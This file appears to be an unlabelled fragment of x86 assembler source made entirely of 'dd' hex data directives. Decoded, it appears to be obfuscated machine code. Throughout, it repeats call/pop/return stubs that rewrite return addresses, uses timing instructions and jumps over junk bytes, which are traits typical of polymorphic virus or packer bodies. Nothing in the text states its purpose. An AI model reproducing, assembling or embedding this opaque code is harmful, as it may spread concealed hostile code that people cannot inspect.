		dd 8E806h, 19FE0000h, 629DBC31h, 8509CEB7h, 62C20C5h, 0C1BD835Fh
		dd 3062C29h, 41C850Fh, 9D2B0000h, 62C1D69h, 0B020BD83h
		dd 0F00062Fh, 40984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0FFDF3B7Ah, 2FB020B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 436DA10Fh, 0BD33731Fh, 62C00A1h,	19C995FFh
		dd 6A062Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 66F256C3h, 800FDE8Bh, 0
		dd 0B014B58Bh, 9D8B062Fh, 62C18F9h, 106C7h, 11E90001h
		dd 2B000000h, 0D60993A6h, 0E5A30067h, 5973F92Bh, 0E41E7FF5h
		dd 347DBD89h, 5250062Ch, 11E9h,	71DD4200h, 0CFCE9C80h
		dd 41B74BD0h, 0B863CCA8h, 895F3594h, 85092434h,	62C2315h
		dd 0B020B5FFh, 6A062Fh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 31EDCAC3h, 2C1279BDh, 0BD95FF06h
		dd 89062C08h, 2C0741BDh, 14B58B06h, 0BB062FB0h,	3AC288D2h
		dd 23B1858Bh, 0E952062Ch, 0Dh, 7338FA16h, 0EB316Eh, 4341A007h
		dd 86895F93h, 0C4h, 14E860h, 0C70C0000h, 94D5E003h, 0FC61D750h
		dd 67F2DB4h, 0F43A087Dh, 0B866756Ah, 8B59BFD4h,	2C0ED9B5h
		dd 958B6106h, 62C2BA5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 3AC35545h, 2CD7B519h,	0C1858982h, 8B062C23h
		dd 2C0671BDh, 0E19D0B06h, 83062C1Ch, 816604C2h,	89F078F7h
		dd 8D292050h, 62C28EDh,	0C564858Dh, 6A062Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0C3806BC3h
		dd 0B886894Fh, 60000000h, 24358D89h, 9589062Ch,	62C2D35h
		dd 49B58961h, 6A062C00h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0E18E3E84h, 9509DC27h
		dd 62C190Dh, 1D419D8Bh,	0B5FF062Ch, 62FB020h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 96C35040h, 66FBD4C5h
		dd 0E602EF81h, 58995FFh, 8B66062Ch, 505096FBh, 0BE952h
		dd 56A00000h, 8F1E9869h, 3E6A6F0Bh, 5A310F94h, 52505F58h
		dd 965BDE8Bh, 0B5FF92B3h, 62FB020h, 2D8D8589h, 95FF062Ch
		dd 62C11D9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	45C35343h, 0B323DC6Ah, 0CB59D89h, 0BD83062Ch, 62C07B5h
		dd 3A840F00h, 0E9000000h, 14h, 0EE552D1Ah, 3FA7F371h, 0C64E223Bh
		dd 4746D054h, 82511B3Fh, 5CDBD8Bh, 0E996062Ch, 11h, 94F39058h
		dd 4D2DC2C6h, 0F55CCE6Bh, 0A2ED6F24h, 0B396508Fh, 20B5FFAEh
		dd 29062FB0h, 2C04E595h, 2995FF06h, 6A062C15h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0A8E5C356h, 25BD8BF0h, 0FF062C21h, 2FB020B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0C1B589C0h, 0FF062C19h, 2C047995h, 7D8D3106h, 83062C2Dh
		dd 2C1535BDh, 840F0206h, 0ACh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0BEC35747h,	0EDBD23B6h, 8B062C25h
		dd 2C018985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 6EF0E75Fh, 2EA93D70h, 10E85D37h
		dd 63000000h, 0AE7ABDE9h, 7C8214B1h, 726D567Ch,	0F0EDD41h
		dd 587h, 0C838BF00h, 0F5F1E11h,	0C81h, 6810F00h, 0F000000h
		dd 8Eh,	0C600h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	94C35343h, 2222757h, 0D46F953Ch, 4F2BBB66h, 166185C7h
		dd 62Ch, 0BB660000h, 0F4E97DFDh, 6AFFFFF2h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D486C357h
		dd 8903C862h, 2C1371BDh, 6AC18B06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0A49DC350h
		dd 0D008BB46h, 858D12EAh, 62C32A5h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0B6C35141h,	0ECAA2D61h, 0A8F05199h
		dd 8B5690D5h, 50505BF8h, 2DBF6652h, 5A310F5Fh, 850F9058h
		dd 14h,	8E8h, 325CBD00h, 0DD0B1593h, 35BD89C0h,	5B062C1Eh
		dd 0BD8B006Ah, 62C045Dh, 0B589006Ah, 62C1C4Dh, 0E02B858Dh
		dd 0B5890630h, 62C2A09h, 6A05C083h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0B181C357h
		dd 6B4E41E5h, 9E8h, 4854FE00h, 85B8DA02h, 0BD097EBDh, 62C1269h
		dd 68B7505Fh, 8B240489h, 2C10C9BDh, 0E9BD8906h,	6A062C13h
		dd 6A2AB700h, 8850F00h,	56000000h, 69D9D89h, 895F062Ch
		dd 2C21E98Dh, 9D95FF06h, 0F062C23h, 0BE8D8BFh, 0C4000000h
		dd 60F13B84h, 63CAF960h, 0BD8B601Eh, 62C0F75h, 428D8D5Bh
		dd 6A062FA0h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 34C6C353h, 666483ECh, 0FF8806BBh
		dd 13E8D1h, 741F0000h, 0B8C1142Eh, 0A5ABEB52h, 1EBA4C5Bh
		dd 51CA17B9h, 91BB66C3h, 0BD8B5F5Fh, 62C249Dh, 9A1BD83h
		dd 0F01062Ch, 8085h, 6DBD8900h,	6A062C1Bh, 52006A02h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0E4548A51h, 0CE8C936h, 0D3000000h, 39C65DA0h, 0C042C17Eh
		dd 66A0006Eh, 5FD503BFh, 936BBB90h, 60503694h, 0FCF8B66h
		dd 28Ch, 61C28B00h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0D03165C8h, 8995FFFDh
		dd 31062C05h, 2C0659B5h, 0DE4E906h, 0E80000h, 5D000000h
		dd 0E035ED81h, 8B660630h, 0F25EBBDFh, 858D2A34h, 62F9AD3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0ACC35040h
		dd 8FA1A17Bh, 0C76A5E74h, 0FB8B50C1h, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 65C5C353h, 0C6EED06Ch, 64E3DF80h, 35FFh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B23A6C3h, 2C12B1BDh, 25896406h, 0
		dd 22B1BD8Bh, 85FF062Ch, 62C1A69h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 6DC35646h, 229A4D02h, 65F12677h
		dd 0FF6AFB8Bh, 0BE8h, 98F42000h, 391F49C3h, 3DE5A535h
		dd 0FF5FD98Ah, 2C150DB5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0F83CB7E0h
		dd 4C595FFh, 26E9062Ch,	29000001h, 2C11CD9Dh, 0DF8B6606h
		dd 8B6600B0h, 0F70E6FEh, 88Dh, 890F5600h, 0
		dd 0F71E45Bh, 683h, 0A6E38100h,	3C16FCD8h, 0F2830F61h
		dd 89000000h, 2C00D19Dh, 959D8906h, 0F062C1Fh, 9D33C8B6h
		dd 62C0115h, 6BAh, 0B58B6000h, 62C04FDh, 2DBD3361h, 8B062C0Dh
		dd 518D29C1h, 0C1062C0Ch, 0E38104E8h, 57DEBAF8h, 0BE8h
		dd 3846AB00h, 4E5D582Fh, 577D4FAFh, 249D9D89h, 665F062Ch
		dd 9D89E2F7h, 62C0FF9h,	9D8BC82Bh, 62C2565h, 0E9F8D18Bh
		dd 89h,	7FF78166h, 1858B11h, 8B000000h,	2C16219Dh, 7C08306h
		dd 0C083D98Bh, 84BF6600h, 0FD03BBEh, 1583h, 5FE900h, 0BE90000h
		dd 0D7000000h, 6F989057h, 93721791h, 8D8BB455h,	0FFFFFFFFh
		dd 0E183FC8Ah, 3E840F01h, 8B000000h, 2C12BD9Dh,	0FFA58306h
		dd 0FEFFFFFFh, 89DE8B66h, 195h,	11E800h, 0A7E70000h, 0A1B51BE3h
		dd 0D07939DBh, 47346F75h, 89238D4Dh, 2C132595h,	0B5895F06h
		dd 62C2D55h, 0E9h, 7EB58D00h, 6606305Ah, 3D1CBBFh, 2C33B19Dh
		dd 0E8006A06h, 12h, 0F0BF5831h,	8806A096h, 0B3DFBD2Ch
		dd 0D179E85Ch, 0BE99782h, 6F000000h, 6EF0E75Fh,	2EA93D70h
		dd 0FF5B5D37h, 2C26B195h, 11E95606h, 30000000h,	9F6096B0h
		dd 0B922FCC7h, 0C2077203h, 27A0FDA4h, 103CB95Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0A49D4C3h, 0DBBF0FEDh, 0AE9h, 0A58A9800h, 0E2E5C804h
		dd 83855C3Eh, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 6B6B98C3h, 0BF0F9FBCh, 6AFCFEh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 2B5F03C3h, 0E0D8529h, 3CB3062Ch, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 5D102BD6h, 0D22B4EF6h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 6AFABF0Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 56C0C353h, 897865C9h, 2C213585h
		dd 880D06h, 89530000h, 2C2559BDh, 958B5B06h, 62C2BA5h
		dd 0F08B6660h, 113DBD03h, 8B61062Ch, 2C12D98Dh,	0DE806h
		dd 77F10000h, 0F670412Fh, 0BD21A1FBh, 0E99A9762h, 10h
		dd 0FE0BA0F1h, 614F6371h, 0DF3999C4h, 32187F1Fh, 0C28B505Bh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0AB67C352h, 0D3883301h, 0B529E543h, 62C2139h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D1C35747h, 25DC147Bh
		dd 29CB8166h, 71BD83D4h, 62C20h, 35840Fh, 0D3810000h, 3372B67h
		dd 0B8h, 0F8B70F00h, 4F518D8Dh,	0E1FF062Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F5C35141h, 83F20339h
		dd 2C29C1BDh, 840F0006h, 416h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 77C35545h, 44BFCC84h, 0E860D53Dh
		dd 11h,	66C498DFh, 0ADEB7C1Fh, 59BDAECEh, 54C7874Fh, 58D5B5A3h
		dd 0C8B70F60h, 6161F78Bh, 29C1BD83h, 0F01062Ch,	3E084h
		dd 87BF6600h, 0C1BD833Bh, 3062C29h, 399860Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0FF763AC3h, 0EFE606E6h, 6A60CFB7h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A825C357h
		dd 0DE830h, 0E3030000h,	0CC89597h, 2864884Eh, 60C55807h
		dd 83DB58Bh, 9589062Ch,	62C2061h, 0BD8B5F61h, 62C18B9h
		dd 80D98C66h, 0D88B04E1h, 840FC90Ah, 148h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0CAC35141h, 0F3B3BB66h
		dd 1DF1858Bh, 6A062Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 3CAE9FC3h, 6BA3DE01h, 31853354h
		dd 31062C0Bh, 2C269195h, 0E8519006h, 13h, 0C7B338BAh, 60A8B530h
		dd 0EA63B6B1h, 8E22FBB9h, 5F21545Dh, 0CE8505Fh,	0F8000000h
		dd 66DDE9C3h, 38B9486h,	66C31E04h, 905BD98Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 34C35141h, 1D99B059h
		dd 0B4F653ACh, 89006A6Fh, 2C2C5D9Dh, 30F76806h,	0BE93A7Ah
		dd 1E000000h, 755762FDh, 57718A5Ch, 34814FFAh, 65330824h
		dd 958B603Ah, 62C0A99h,	14E8h, 6E90BD00h, 0A2BB90D0h, 0C14C389Dh
		dd 0BE527D00h, 115F4903h, 5983B275h, 6595FF61h,	6A062C34h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 4B7EC352h, 2518E875h, 41E1F78h, 0DB0C381h
		dd 850954B0h, 62C21F9h,	0B0208589h, 8166062Fh, 0E99D23EBh
		dd 184h, 0F78A5260h, 0FDBD0158h, 61062C29h, 0B018858Bh
		dd 8166062Fh, 0C7C145E7h, 1800h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 9AB79EF2h
		dd 0BD8B58C4h, 62C1FB9h, 0B01CB58Bh, 6A062Fh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 50A845C3h
		dd 0B8EA601Bh, 8B665E35h, 55858BFBh, 0E9062C0Ch, 6, 0D29130C3h
		dd 689A4F8h, 3185BD8Bh,	858B062Ch, 62C1DF1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A5C35343h, 89FCC804h
		dd 8B660446h, 0DFB70FFEh, 24348950h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 9FC35141h, 0EBBE3BBh, 18B5FF51h
		dd 66062FB0h, 4968D98Bh, 0F544BE8h, 48Bh, 52BF6600h, 2434816Ah
		dd 5454EBB6h, 858DF98Bh, 62FB020h, 6800Fh, 0BD890000h
		dd 62C10D1h, 0EE950h, 0F4800000h, 6FBFDD38h, 0E4E801DEh
		dd 0F850EF7Ah, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 9110C351h, 0EE9h, 0FA455E00h
		dd 67FD1555h, 0D18293B1h, 0FF0FB675h, 2C346595h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 61FD1712h, 0ECA3792Ah, 0A6E380C0h, 5EDB8161h, 0C73B47F0h
		dd 2C29C185h, 306h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 64323F68h, 5029A5BFh
		dd 4D8D8971h, 83062C0Dh, 2FB020BDh, 840F0006h, 17h, 6A58D29h
		dd 0BD8B062Ch, 62C2CEDh, 21E9h,	7DB58900h, 50062C2Dh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 7B8AAEC3h, 0AB7962D7h, 53060963h, 51006A5Bh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 699149EDh
		dd 2E687471h, 83FB8B00h, 2C29C1BDh, 850F0306h, 47Fh, 0BD83D88Bh
		dd 62FB020h, 70840F00h,	0F000004h, 68Dh, 0EDBD8B00h, 31062C05h
		dd 2C32B98Dh, 20B5FF06h, 6A062FB0h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0C67FC355h
		dd 95FF9D4Bh, 62C19C9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 85C35242h, 0DEBF0F98h, 0B014B58Bh, 6A062Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0BFA3D2C3h, 7D8FA095h, 9D096E17h, 62C0675h, 6830Fh
		dd 0BD8B0000h, 62C1BA9h, 106C7h, 6A0001h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 23E2E8C3h
		dd 1F6DC559h, 893B39FDh, 2C30DD9Dh, 68F0F06h, 8B000000h
		dd 2C04899Dh, 50BB5006h, 895EBF4Ch, 91BF2434h, 0FF6F709Bh
		dd 2FB020B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 2ABF3290h, 340EB937h, 95FFC8D4h
		dd 62C08BDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	58C35343h, 89944CFDh, 10E8A3h, 77C0000h, 46BB37Ch
		dd 0C3910346h, 5797490h, 0BD2BCC33h, 62C0B2Dh, 14B58B5Fh
		dd 6A062FB0h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 7B78C351h, 7F6036EDh, 85897093h
		dd 62C06E9h, 0F6EF8166h, 0B1858BBAh, 6A062C23h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 2409C355h, 0E5075C3h, 0AE8h,	0A8DEA400h, 0EA17D9C3h
		dd 89579785h, 2C33858Dh, 86895F06h, 0C4h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 37C35242h, 15FB7A18h
		dd 39A92E03h, 0A5958BCFh, 1062C2Bh, 2C1511B5h, 4C28306h
		dd 5719D8Bh, 5089062Ch,	0FD8D2920h, 8D062C0Eh, 2FC56485h
		dd 0B8868906h, 60000000h, 13C58D89h, 0BD29062Ch, 62C1221h
		dd 6A006A61h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 50D3C353h, 11E901DCh, 21000000h
		dd 0F8B6042h, 1079F981h, 0B5CE22BBh, 69AD5CE6h,	5301BF66h
		dd 0B020B5FFh, 6A062Fh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0D3B4DAC3h, 5E9h, 0B2206400h, 95FF505Dh
		dd 62C0589h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	6DC35242h, 31E1B071h, 96AE0214h, 0BD8B9650h, 62C14F5h
		dd 0B020B5FFh, 6A062Fh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 5DC7F6C3h, 6B661813h, 9D8B3CA9h
		dd 62C1F61h, 11D995FFh,	0BE8062Ch, 0A4000000h, 0FA4BD551h
		dd 0DEA2421Bh, 0DB804B9Eh, 0BD835F5Fh, 62C07B5h, 3B840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0C8D4C351h, 96782CD5h,	0F565250h
		dd 86h,	310F5B00h, 5B0BBB66h, 9650585Ah, 2CED8589h, 0B5FF062Ch
		dd 62FB020h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	59C35141h, 54C7874Fh, 2995FFA3h, 0B062C15h, 2C2D11BDh
		dd 20B5FF06h, 6A062FB0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 9F38C356h, 405BD92Fh
		dd 293340FFh, 2C23F985h, 51CB8106h, 0FF1A9E18h,	2C047995h
		dd 14E9FC06h, 33000000h, 969A592Eh, 0FD15C4Ah, 0E297BAF7h
		dd 0ADA083C8h, 83CBB5E5h, 2C1535BDh, 840F0206h,	7Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E2C35343h, 8930BA06h
		dd 2C089585h, 57F78106h, 8B3BAB27h, 2C018985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 34AE87C0h, 2D21B529h, 0C6062Ch, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8949F3B3h
		dd 2C2B1D95h, 6185C706h, 62C16h, 0E9000000h, 0FFFFF336h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 59C35040h
		dd 3B37CCFCh, 0B5896BFAh, 62C164Dh, 8BDBB70Fh, 51006AC1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 56C58865h, 858D4304h, 62C32A5h, 0D49B531h, 5090062Ch
		dd 4F99F9BBh, 6A9077h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 567EF4C3h, 0F0C87EBFh, 81858900h
		dd 6A062C21h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 8CAACDFBh, 50EB81C2h, 8B59B998h
		dd 2C04F5BDh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0DACEC357h,	75AF147Ch
		dd 0F9BFDEA4h, 8D58CD7Fh, 30F05D85h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0BD80585Ch
		dd 13E9F3CBh, 5B000000h, 70D7694Fh, 67534BCCh, 18CA6C37h
		dd 960C7097h, 0C0831624h, 9D8D8905h, 0F062C1Ah,	8B50FABFh
		dd 240489D9h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	0F1C35545h, 6A9A7DF8h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 18297ED1h
		dd 2FD1FCACh, 0B529DA7Bh, 62C0541h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0D0B65C3h
		dd 14D99D8Bh, 95FF062Ch, 62C239Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 16C35545h, 0A0428D8Dh, 6A062Fh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0C2E5CC3h, 0CBC00574h, 8B1E3E94h, 6AD1FFDFh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 21D2C357h, 9F4F6188h, 81435AFCh, 301D7BE7h, 0A1BD830Ah
		dd 1062C09h, 69850Fh, 0BF660000h, 0B589B238h, 62C1905h
		dd 0DE9026Ah, 0C000000h, 0E8813C2Eh, 6A2A8864h,	0B13023EBh
		dd 6D8D0953h, 5B062C1Bh, 89D98B50h, 0BE82404h, 0F000000h
		dd 0E94C4012h, 66794730h, 0BD8BE8FAh, 62C22EDh,	8995FF5Bh
		dd 6A062C05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 66AFC355h, 0E9E036BFh,	0C9Fh
		dd 0E8h, 0ED815D00h, 630F067h, 6AFE8B66h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0AD9BC351h
		dd 0BD89ED7Eh, 62C3105h, 9AD3858Dh, 6A062Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 46913CC3h
		dd 12E90B36h, 0D7000000h, 0EA48AC84h, 52232D50h, 0A379514h
		dd 0BEEE180Bh, 8E85087h, 62000000h, 4826CC7Dh, 66A12254h
		dd 895FF88Bh, 6ABF2404h, 64673E10h, 35FFh, 7E80000h, 0FA000000h
		dd 1E172D3Ch, 0AE9968Ch, 0EC000000h, 4FE57FE2h,	0ED646B53h
		dd 89645F39h, 25h, 39BD8B00h, 0FF062C0Ah, 2C1A6985h, 0DA8B6606h
		dd 0B529FF6Ah, 62C218Dh, 22DB5FFh, 6A062Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E468BAC3h
		dd 95FFDEFAh, 62C04C5h,	138E9h
		dd 100B000h, 2C1395BDh,	8170E606h, 0EF3A1ACFh, 0F9BD892Eh
		dd 0E4062C09h, 359D8B71h, 3C062C1Eh, 12830F61h,	66000001h
		dd 0B60FFA8Bh, 68E0FC8h, 8B000000h, 2C12EDBDh, 68D0F06h
		dd 89000000h, 2C1A6585h, 6BA06h, 0BD890000h, 62C1035h
		dd 0B70FC18Bh, 4E8C1D8h, 12059D23h, 0F766062Ch,	0DF8056E2h
		dd 0C82B5F76h, 9EB8166h, 66D18BEFh, 2900B4BBh, 2C202D95h
		dd 0BBE906h, 0E9600000h, 10h, 7F5FB749h, 0D099CD58h, 0CDCDC4D5h
		dd 0EB2C2E3Ch, 88D8589h, 0F61062Ch, 0C83h, 6830F00h, 9000000h
		dd 2C0B298Dh, 4858B06h,	0E9000000h, 0Ah, 0A4822CD7h, 981707BDh
		dd 0C083C88Ch, 9E9F807h, 9C000000h, 0AB764E92h,	41FF4786h
		dd 3B00C083h, 11830FD0h, 8B000000h, 2C24599Dh, 4FE906h
		dd 0B5890000h, 62C14C9h, 0FFFF8D8Bh, 2960FFFFh,	2C1359B5h
		dd 7E806h, 4BC0000h, 9CA7F41h, 70DBBFFh, 615E37DAh, 0F01E183h
		dd 2084h, 0FBF6600h, 0FFA5833Bh, 0FEFFFFFFh, 0DD1BD8Bh
		dd 0BF0F062Ch, 49589F9h, 0FC000000h, 0E9h, 0BAB58D00h
		dd 6A06306Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 4383C357h, 0FE975D5h, 0B8000000h
		dd 9ED2C775h, 8DC7A697h, 0F6A4CDA5h, 6A5DC7h, 22E98D89h
		dd 95FF062Ch, 62C26B1h,	4E99589h, 8589062Ch, 62C2D11h
		dd 1135B9h, 0A9BD2900h,	83062C1Dh, 10E9FCE1h, 9A000000h
		dd 5EF35210h, 0DB1D2E2Fh, 0BCF261B5h, 0FC0C10D4h, 34A6BF66h
		dd 0B8h, 9E900h, 0BB840000h, 4D01BD26h,	2BF54F97h, 56006AD2h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0DCA17C5Dh, 0CF8ABA20h, 0F38166DCh, 33AD6091h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 68D494C3h, 0DDBD8B8Eh, 89062C23h
		dd 2C0FDD95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0FBB70F5Dh, 880Dh, 519D3300h, 8B062C27h
		dd 2C2BA595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 398589EFh, 8B062C0Fh, 2C12D98Dh
		dd 2DBD8B06h, 50062C2Ch, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 0BF66F558h, 6AFF9Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 2F02C7C3h, 48AA162h
		dd 29C96287h, 2C08B18Dh, 71BD8306h, 62C20h, 36840Fh, 0B70F0000h
		dd 0B8D9h, 81660000h, 6628B2F3h, 0A57BCF81h, 4F518D8Dh
		dd 11E9062Ch, 7A000000h, 98FF4887h, 7F94EAE4h, 61AC4BA7h
		dd 0CB99964Bh, 8531E1FFh, 62C24C5h, 29C1BD83h, 0F00062Ch
		dd 40184h, 0C1BD8300h, 1062C29h, 40F840Fh, 7E80000h, 0CA000000h
		dd 8B1336DEh, 8B66AC90h, 0BD835BFBh, 62C29C1h, 0BC860F03h
		dd 8B000003h, 0D38160D9h, 6E013142h, 80D98C66h,	6A04E1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0C90ABEC3h, 15E840Fh, 85310000h, 62C228Dh, 1DF1858Bh
		dd 0BD89062Ch, 62C2C39h, 0B318533h, 6A062Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0A65B47C3h
		dd 11E8E683h, 0B000000h, 805DE26Ah, 276EB1C8h, 4A7E8003h
		dd 969443B4h, 1B85BD29h, 0F5B062Ch, 689h, 0D1858900h, 50062C11h
		dd 489C1B7h, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 66BC0409h, 913BE487h, 5E837CBh, 86000000h
		dd 0CC3AD1Eh, 0DE960h, 750E0000h, 561B6EBDh, 1CEF3682h
